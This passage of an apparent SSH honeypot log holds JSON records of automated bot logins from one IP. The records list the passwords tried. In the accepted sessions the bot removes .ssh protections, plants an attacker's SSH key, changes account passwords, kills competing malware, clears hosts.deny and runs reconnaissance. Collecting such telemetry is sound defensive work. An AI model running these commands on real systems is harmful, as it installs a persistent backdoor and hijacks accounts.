ls)"},{"seq":13,"at":"2026-08-26T14:01:19.116322+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T14:01:19.391752+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T14:01:21.008460+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T14:01:21.279836+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T14:01:22.803668+00:00","kind":"output","latency_ms":null,"data":" 14:01:22 up 6 days, 10:51, 0 user, load average: 0.24, 0.19, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T14:01:23.075853+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T14:01:24.544226+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T14:01:24.816172+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T14:01:25.750049+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T14:01:26.036916+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T14:01:27.525041+00:00","kind":"output","latency_ms":null,"data":"top - 14:01:27 up 6 days, 10:51, 0 user, load average: 0.24, 0.19, 0.17\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T14:01:27.799681+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T14:01:29.193680+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T14:01:29.462227+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T14:01:31.008028+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T14:01:31.279772+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T14:01:32.822758+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T14:01:33.096307+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T14:01:35.160774+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T14:01:35.433811+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T14:01:36.879168+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Test@123","method":"password","accepted":true,"tier":"other"}]} {"id":"bea36b4a-57e6-4e59-b628-0e4c09445dc8","name":"stoic-supple-bowerbird","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":62750,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:01:10.920968+00:00","ended_at":"2026-08-26T14:01:11.906007+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"148c257a-a028-4f55-87fc-876029cf85ec","name":"spirited-hardy-dipper","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":62742,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:01:08.993865+00:00","ended_at":"2026-08-26T14:01:10.329156+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"acb09280-b396-499c-8df8-a623268ec32b","name":"sandy-jagged-fennec","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":53744,"username":"ruslan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":288,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:59:43.689658+00:00","ended_at":"2026-08-26T13:59:45.110991+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2171,"events":[{"seq":1,"at":"2026-08-26T13:59:15.261601+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:59:15.547099+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:59:19.429661+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:59:21.627482+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:59:21.915816+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Ruslan123\\nM7QeHDj5vsQh\\nM7QeHDj5vsQh\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:59:22.203893+00:00","kind":"input","latency_ms":null,"data":"echo \"Ruslan123\\nM7QeHDj5vsQh\\nM7QeHDj5vsQh\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:59:22.498265+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:59:23.313045+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:59:23.602590+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:59:25.103138+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:59:25.392185+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:59:27.295033+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:59:27.588441+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:59:29.006074+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:59:29.292145+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:59:31.406868+00:00","kind":"output","latency_ms":null,"data":" 13:59:31 up 6 days, 10:49, 0 user, load average: 0.19, 0.16, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:59:31.698329+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:59:33.825287+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:59:34.113639+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:59:34.652308+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:59:34.939574+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:59:36.459774+00:00","kind":"output","latency_ms":null,"data":"top - 13:59:36 up 6 days, 10:49, 0 user, load average: 0.19, 0.16, 0.17\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:59:36.746887+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:59:38.152434+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:59:38.440712+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:59:40.236920+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:59:40.528060+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:59:41.872048+00:00","kind":"output","latency_ms":null,"data":"ruslan"},{"seq":29,"at":"2026-08-26T13:59:42.173053+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:59:43.402112+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:59:43.690445+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:59:45.029217+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ruslan","password":"Ruslan123","method":"password","accepted":true,"tier":"other"}]} {"id":"a17d1c87-89d9-4f27-b3f3-7e68d6da9e48","name":"gnarled-misty-goose","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":53772,"username":"ruslan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:59:18.171063+00:00","ended_at":"2026-08-26T13:59:19.345755+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ruslan","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4b49ae54-af55-428a-a7d5-b08513db2bc1","name":"cunning-nimble-salmon","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":53760,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:59:16.223889+00:00","ended_at":"2026-08-26T13:59:17.571301+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"97d0f088-0d75-4a5c-857f-e2f1d644ec94","name":"glassy-twilight-condor","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":63832,"username":"faisal","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":285,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:57:47.237455+00:00","ended_at":"2026-08-26T13:57:48.592237+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2154,"events":[{"seq":1,"at":"2026-08-26T13:57:18.078005+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:57:18.360388+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:57:22.802865+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:57:24.287091+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:57:24.572076+00:00","kind":"input","latency_ms":null,"data":"echo -e \"faisal\\nECAjo9N5iK41\\nECAjo9N5iK41\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:57:24.858258+00:00","kind":"input","latency_ms":null,"data":"echo \"faisal\\nECAjo9N5iK41\\nECAjo9N5iK41\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:57:25.136255+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:57:25.709139+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T13:57:26.109523+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T13:57:26.398204+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T13:57:26.985536+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T13:57:27.616352+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:57:27.901716+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T13:57:28.777165+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T13:57:29.061032+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T13:57:31.156112+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T13:57:31.451191+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T13:57:33.425492+00:00","kind":"output","latency_ms":null,"data":" 13:57:33 up 6 days, 10:47, 0 user, load average: 0.13, 0.15, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T13:57:33.708435+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T13:57:35.248532+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T13:57:35.535760+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T13:57:37.233525+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T13:57:37.515613+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T13:57:39.302411+00:00","kind":"output","latency_ms":null,"data":"top - 13:57:39 up 6 days, 10:47, 0 user, load average: 0.13, 0.15, 0.16\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T13:57:39.586958+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T13:57:41.647887+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T13:57:41.934168+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T13:57:43.751645+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T13:57:44.036383+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T13:57:45.396153+00:00","kind":"output","latency_ms":null,"data":"faisal"},{"seq":31,"at":"2026-08-26T13:57:45.676649+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T13:57:46.956531+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T13:57:47.238175+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T13:57:48.509840+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"faisal","password":"faisal","method":"password","accepted":true,"tier":"other"}]} {"id":"b21444ef-653a-4225-8aa4-0f917f9dc533","name":"noble-cheerful-sparrow","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":63852,"username":"faisal","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:57:21.228079+00:00","ended_at":"2026-08-26T13:57:22.721288+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"faisal","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"853d2de0-7b04-4d3d-aaba-29d8dabad760","name":"restless-thorny-rook","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":63840,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:57:19.017152+00:00","ended_at":"2026-08-26T13:57:20.624449+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"59302a61-2612-4208-880c-57bc9e169e91","name":"windswept-airy-jerboa","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":56754,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":290,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:55:48.892489+00:00","ended_at":"2026-08-26T13:55:50.492556+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2194,"events":[{"seq":1,"at":"2026-08-26T13:55:18.968337+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:55:19.271788+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:55:23.420098+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:55:25.571668+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:55:25.879804+00:00","kind":"input","latency_ms":null,"data":"echo \"root:00T3H96HxQFz\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:55:26.188767+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:55:26.489016+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:55:27.301132+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T13:55:27.905661+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T13:55:28.202114+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T13:55:29.752182+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T13:55:30.043522+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T13:55:32.189605+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T13:55:32.487427+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T13:55:34.220107+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T13:55:34.509008+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T13:55:36.411744+00:00","kind":"output","latency_ms":null,"data":" 13:55:36 up 6 days, 10:45, 0 user, load average: 0.28, 0.27, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T13:55:36.701541+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T13:55:38.836684+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T13:55:39.126019+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T13:55:40.406622+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T13:55:40.696869+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T13:55:41.608523+00:00","kind":"output","latency_ms":null,"data":"top - 13:55:41 up 6 days, 10:45, 0 user, load average: 0.28, 0.27, 0.24\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T13:55:41.897605+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T13:55:42.838462+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T13:55:43.129495+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T13:55:45.045423+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T13:55:45.333770+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T13:55:46.290292+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T13:55:46.581596+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T13:55:48.603546+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T13:55:48.893027+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T13:55:50.414765+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"panasonic","method":"password","accepted":true,"tier":"other"}]} {"id":"26f2a77d-6806-41d5-88e4-f9344e2d32b9","name":"obsidian-fabled-whimbrel","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":56760,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:55:21.718133+00:00","ended_at":"2026-08-26T13:55:23.332424+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"26b5bcfd-4c16-4672-a6f5-cb8f22b7cf25","name":"hazy-sunlit-numbat","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":56756,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:55:19.934725+00:00","ended_at":"2026-08-26T13:55:21.122104+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"afed491f-443a-4678-b2db-1fd6102a464b","name":"sandy-graceful-oriole","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":52216,"username":"teamspeak","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":292,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:53:45.342766+00:00","ended_at":"2026-08-26T13:53:46.697851+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2143,"events":[{"seq":1,"at":"2026-08-26T13:53:18.684454+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:53:18.976151+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 